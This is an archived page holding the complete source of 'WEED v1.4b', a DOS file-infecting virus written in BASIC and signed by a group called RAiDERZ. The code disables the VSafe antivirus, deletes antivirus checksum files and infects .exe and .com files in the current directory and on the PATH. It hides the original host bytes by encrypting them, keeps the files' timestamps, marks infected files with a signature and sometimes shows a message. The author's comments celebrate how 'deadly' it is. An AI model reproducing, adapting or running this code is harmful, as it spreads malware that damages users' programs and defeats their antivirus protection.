home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CASIOCOL.ZIP / WEEDV14.ZIP / WEEDV14.ASI < prev   
Text File  |  1997-04-13  |  10KB  |  501 lines

  1.  
  2. dim virus_data(5850)
  3. dim host_data(5850)
  4. call sub "ibcritinit"
  5. randomize
  6.  
  7. rem WEED v1.4b source code... Fucking alot better then before!!! :-)
  8. rem Define our encrypted data for later decryption. Data is encrypted
  9. rem during the compilation process. Do not tamper with tables in source!
  10.  
  11. weedmsg$="UNiDEN ViRuS has infected this PC. (c)1997 RAiDERZ UsA"
  12. killfil1$="anti-vir.dat"
  13. killfil2$="chklist.ms"
  14. killfil3$="chklist.cps"
  15. notouch1$="COMMAND.COM"
  16. notouch2$="START.EXE"
  17. exe$="*.exe"
  18. com$="*.com"
  19. rem And now the real fun part, bunch of temp calls to decode our information
  20. rem above :)
  21.  
  22. temp$=weedmsg$
  23. gosub decode_mess:
  24. weedmsg$=output$
  25.  
  26. temp$=killfil1$
  27. gosub decode_mess:
  28. killfil1$=output$
  29.  
  30. temp$=killfil2$
  31. gosub decode_mess:
  32. killfil2$=output$
  33.  
  34. temp$=killfil3$
  35. gosub decode_mess:
  36. killfil3$=output$
  37.  
  38. temp$=notouch1$
  39. gosub decode_mess:
  40. notouch1$=output$
  41.  
  42. temp$=notouch2$
  43. gosub decode_mess:
  44. notouch2$=output$
  45.  
  46. temp$=exe$
  47. gosub decode_mess:
  48. exe$=output$
  49.  
  50. temp$=com$
  51. gosub decode_mess:
  52. com$=output$
  53.  
  54. temp$=byebait$
  55. gosub decode_mess:
  56. byebait$=output$
  57. newattr=0
  58. gosub vsafe_toggle:
  59. vsafebak=cx
  60. gosub toast_them:
  61. call sub "exename" hostname$
  62. yourparm$=command$
  63. yourparm$=ltrim$(yourparm$)
  64. yourparm$=rtrim$(yourparm$)
  65. yourparm$=" "+yourparm$
  66.  
  67. rem My new WEED virus! Oh so much more deadly! So much more spiffy!
  68.  
  69. filename$=hostname$
  70. hostsize&=filelen(filename$)
  71. virus_size=5850
  72. virus_size&=5850&
  73. gosub get_attr:
  74. oldattr=newattr
  75. newattr=0
  76. gosub set_attr:
  77. gosub open_file:
  78. bytesize=virus_size
  79. dx=varptr(virus_data(0))
  80. gosub read_file:
  81. gosub close_file:
  82. newattr=oldattr
  83. gosub set_attr:
  84.  
  85. rem Ok, now infect files presently in current directory!
  86. subdir=0
  87. proc$=exe$
  88. gosub start_virus:
  89. proc$=com$
  90. gosub start_virus:
  91.  
  92. rem Ok, now were going to target files along the path :)
  93.      for n=0 to 100
  94.           call sub "path", n, virupath$
  95.           i=LEN(virupath$)
  96.           if i=0 then done:
  97.           b$=right$(virupath$,1)
  98.         if b$<>"\" then
  99.         virupath$=virupath$+"\"
  100.         endif
  101.         out1$=exe$
  102.         out2$=com$
  103.         subdir=1
  104.         proc$=virupath$+out1$
  105.         gosub start_virus:
  106.         proc$=virupath$+out2$
  107.         gosub start_virus:
  108.         next n
  109.  
  110.  
  111.  
  112. done:
  113. filename$=hostname$
  114. hostsize&=filelen(filename$)
  115. gosub get_attr:
  116. oldattr=newattr
  117. newattr=0
  118. gosub set_attr:
  119. gosub open_file:
  120. gosub get_fdt:
  121. hosttemp&=hostsize&-virus_size&
  122. move_way&=hosttemp&
  123. gosub move_file_pointer:
  124. bytesize=virus_size
  125. dx=varptr(host_data(0))
  126. gosub read_file:
  127. move_way&=0&
  128. gosub move_file_pointer:
  129. gosub dec_host:
  130. dx=varptr(host_data(0))
  131. bytesize=virus_size
  132. gosub write_file:
  133. gosub set_fdt:
  134. gosub close_file:
  135. gosub strip_garbage:
  136. newattr=oldattr
  137. gosub set_attr:
  138. a=rnd(0)
  139. a=a mod 10
  140. a=a+1
  141. if a=1 then
  142. rem Ok, run Stars Section, if they press "/" we allow them to run
  143. rem original program!
  144. call sub "Stars_heh"
  145. endif
  146. if a=7 then
  147. rem Time to print message! :)
  148. print weedmsg$
  149. a=5*18
  150. gosub pause_exec:
  151. endif
  152.  
  153. call hostname$, yourparm$
  154. newattr=0
  155. gosub vsafe_toggle:
  156. gosub toast_them:
  157. filename$=hostname$
  158. gosub lets_infect:
  159.  
  160. rem Hmm, lets see if our new host was able to make any files!
  161. subdir=0
  162. proc$=exe$
  163. gosub start_virus:
  164. proc$=com$
  165. gosub start_virus:
  166. gosub toast_them:
  167. newattr=vsafebak
  168. gosub vsafe_toggle:
  169. end
  170. rem We have completed replication. all stop!
  171.  
  172. start_virus:
  173. errcode=0
  174. attr=6
  175. kewl=0
  176. do_not_proceed=0
  177. search$=proc$
  178. attrib=6
  179. filename$=find first (search$, attrib)
  180. if error>0 then done_finding:
  181.   t1$=ucase$(filename$)
  182.   if t1$=notouch1$ then
  183.   do_not_proceed=1
  184.   endif
  185.   if t1$=notouch2$ then
  186.   do_not_proceed=1
  187.   endif
  188.   if do_not_proceed=0 then
  189.   if subdir=1 then
  190.   filename$=virupath$+filename$
  191.   endif
  192.   gosub infect_check:
  193. if infected=0 then
  194. gosub lets_infect:
  195. endif
  196. endif
  197. while errcode=0
  198. do_not_proceed=0
  199. filename$=find continue
  200. if error>0 then done_finding:
  201.  
  202.   t1$=ucase$(filename$)
  203.   if t1$=notouch1$ then
  204.   do_not_proceed=1
  205.   endif
  206.   if t1$=notouch2$ then
  207.   do_not_proceed=1
  208.   endif
  209.   if do_not_proceed=0 then
  210.   if subdir=1 then
  211.   filename$=virupath$+filename$
  212.   endif
  213.   gosub infect_check:
  214. if infected=0 then
  215. gosub lets_infect:
  216. endif
  217. endif
  218.         if kewl>4 then
  219.          errcode=1
  220.          endif
  221.    WEND
  222.  
  223. done_finding:
  224. return
  225.  
  226. Lets_infect:
  227. hostsize&=filelen(filename$)
  228. gosub get_attr:
  229. oldattr=newattr
  230. newattr=0
  231. gosub set_attr:
  232. gosub open_file:
  233. gosub get_fdt:
  234. bytesize=virus_size
  235. dx=varptr(host_data(0))
  236. gosub read_file:
  237. move_way&=0&
  238. gosub move_file_pointer:
  239. bytesize=virus_size
  240. dx=varptr(virus_data(0))
  241. gosub write_file:
  242. move_way&=hostsize&
  243. gosub move_file_pointer:
  244. gosub enc_host:
  245. dx=varptr(host_data(0))
  246. bytesize=virus_size
  247. gosub write_file:
  248. gosub set_fdt:
  249. kewl=kewl+1
  250. gosub close_file:
  251. newattr=oldattr
  252. gosub set_attr:
  253. return
  254.  
  255.  
  256. REM ******* SYSTEM SUB-ROUTINES BELOW THIS LINE. DO NOT TREAD HERE!
  257. REM ******* THESE AREAS MUST NOT BE FOOLED WITH!
  258.  
  259. get_attr:
  260. AX = &HEX4300
  261. DX = VARPTR(Filename$)
  262. CX = NewAttr
  263. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  264. return
  265.  
  266. set_attr:
  267. AX = &HEX4301
  268. DX = VARPTR(Filename$)
  269. CX = NewAttr
  270. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  271. return
  272.  
  273. vsafe_toggle:
  274. ax=&hexfa02
  275. dx=&hex5945
  276. bx=newattr
  277. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  278. return
  279.  
  280. get_fdt:
  281. if file_handle>4 then
  282. AX=&HEX5700
  283. BX=FILE_HANDLE
  284. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  285. NEWDATE=CX
  286. NEWTIME=DX
  287. endif
  288. RETURN
  289.  
  290. set_fdt:
  291. if file_handle>4 then
  292. AX=&HEX5701
  293. BX=FILE_HANDLE
  294. CX=NEWDATE
  295. DX=NEWTIME
  296. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  297. endif
  298. RETURN
  299.  
  300. chklist:
  301. temp1$=filename$
  302. if subdir=1 then
  303. filename$=virupath$+filename$
  304. endif
  305. filename$=kill_this$
  306. newattr=0
  307. gosub set_attr:
  308. kill filename$
  309. filename$=temp1$
  310. return
  311.  
  312. rem DOS int file i/o driven code beyond this point :)
  313.  
  314. rem ax=&hex3d00
  315. rem ax opens file for read in this mode :-)
  316. rem ax=&hex3d01
  317. rem ax opens file for write in this mode :-)
  318. rem ax=&hex3d02
  319. rem ax opens file for read/write access :) hehehe
  320.  
  321. open_file:
  322. AX=&HEX3D02
  323. DX = VARPTR(Filename$)
  324. INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
  325. file_handle=ax
  326. return
  327.  
  328. write_file:
  329. rem this routine will write selected bytes at whatever current position
  330. rem from whatever buffer i choose into the file.
  331. rem if the routine did not write all data ax will not equal cx upon
  332. rem return from int call.
  333. rem define dx register before calling this routine to point to the
  334. rem memory address of the buffer area you want to write from. like so:
  335. rem dx=varptr(buffer(0))
  336. rem cx is how many bytes to write :)
  337. if file_handle>4 then
  338. ax=&hex4000
  339. bx=file_handle
  340. cx=bytesize
  341. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  342. byteswritten=ax
  343. endif
  344. return
  345.  
  346. read_file:
  347. rem as the name implies, it reads bytes into a buffer. :-)
  348. rem as with write_file, you need to predefine the dx register for the
  349. rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
  350. rem if you don't, this routine will not work, or will overwrite some
  351. rem other section of memory. And for virus coding, this is very bad! :)
  352. rem cx register is how many bytes to read :)
  353. if file_handle>4 then
  354. ax=&hex3f00
  355. bx=file_handle
  356. cx=bytesize
  357. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  358. bytesread=ax
  359. endif
  360. return
  361.  
  362. close_file:
  363. rem This routine will close the selected file.
  364. rem do not try to close handle 2, very nasty... :-(
  365. if file_handle>4 then
  366. ax=&hex3e00
  367. bx=file_handle
  368. int86(&hex21,ax,bx,na,na,na,na,na,na,na)
  369. endif
  370. return
  371.  
  372. move_file_pointer:
  373. rem be sure to set variable move_way to whereever you wish to go
  374. rem it can be a long integer :-)
  375. rem get the target location, divide that by 65536
  376. rem Also subtract value of a& from the original size.
  377. rem set both registers for real numbers, no mistake here.. Will fuckup
  378. rem file pointer routine if I don't. :)
  379. rem a&=move_way&/65536&
  380. rem b&=a&-move_way&
  381. rem a&=abs(a&)
  382. rem b&=abs(b&)
  383. rem Now, dump the registers :)
  384. rem if file_handle>4 then
  385. rem ax=&hex4200
  386. rem cx=a&
  387. rem dx=b&
  388. rem bx=file_handle
  389. rem Ok, now that we have prepared the registers, Lets fix them!
  390. rem    if cx<0 then
  391. rem    cx=cx+32767
  392. rem    endif
  393. rem    if dx<0 then
  394. rem    dx=dx+32767
  395. rem    endif
  396. rem int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  397. rem endif
  398. rem return
  399. method=0
  400. call sub "fseek" file_handle, move_way&, method, errcode
  401. return
  402.  
  403. enc_host:
  404. rem Routine to encrypt the host data... We encrypt it before
  405. rem appending. Yea, the encryption is lame... But it serves it's
  406. rem purpose fine.
  407. for x=0 to virus_size
  408. a=host_data(x)
  409. a=a+187
  410. a=a+121
  411. a=a+x
  412. a=a-194
  413. a=a-27
  414. host_data(x)=a
  415. next x
  416. return
  417.  
  418. dec_host:
  419. rem Routine to decrypt the host data... We need to decrypt it before
  420. rem replacing it and passing control to it. And yes, the decryption
  421. rem sequence is lame... But, I don't give a fuck!
  422. for x=0 to virus_size
  423. a=host_data(x)
  424. a=a-187
  425. a=a-121
  426. a=a-x
  427. a=a+194
  428. a=a+27
  429. host_data(x)=a
  430. next x
  431. return
  432.  
  433. infect_check:
  434. gosub get_attr:
  435. newattr=oldattr
  436. newattr=0
  437. gosub set_attr:
  438. sig$=""
  439. open"r",1,filename$
  440. a=filepos(1,28)
  441. for z=1 to 4
  442. input #1,y$ byte
  443. sig$=sig$+y$
  444. next z
  445. close 1
  446. newattr=oldattr
  447. gosub set_attr:
  448. if sig$="·▀ⁿ¡" then
  449. infected=1
  450. else
  451. infected=0
  452. endif
  453. return
  454.  
  455. strip_garbage:
  456. open"r",1,filename$
  457. a=filepos(1,hosttemp&)
  458. print #1,"" NONULL
  459. CLOSE 1
  460. gosub open_file:
  461. gosub set_fdt:
  462. gosub close_file:
  463. return
  464.  
  465. pause_exec:
  466. REM 5 sec. timer routine from original QBasic source code written by:
  467. REM obother@netcom.com (Glen Blankenship)
  468. REM (5 * 18.2 clock-ticks-per-second = 91)
  469. TickOne = TIMER
  470. FOR i = 1 TO a
  471.    TickTwo = TickOne
  472.    WHILE TickTwo = TickOne
  473.        TickOne = TIMER
  474.    WEND
  475. NEXT i
  476. RETURN
  477.  
  478. toast_them:
  479. kill_this$=killfil1$
  480. gosub chklist:
  481. kill_this$=killfil2$
  482. gosub chklist:
  483. kill_this$=killfil3$
  484. gosub chklist:
  485. return
  486.  
  487. decode_mess:
  488. output$=""
  489. rem This routine decrypts our tables in the beginning to useable material
  490. rem For run-time use only. The data in the exe/com is not decrypted!
  491. r=len(temp$)
  492. for x=1 to r
  493. a$=mid$(temp$,x,1)
  494. a=asc(a$)
  495. a=a+127
  496. a$=chr$(a)
  497. output$=output$+a$
  498. next x
  499. return
  500.  
  501.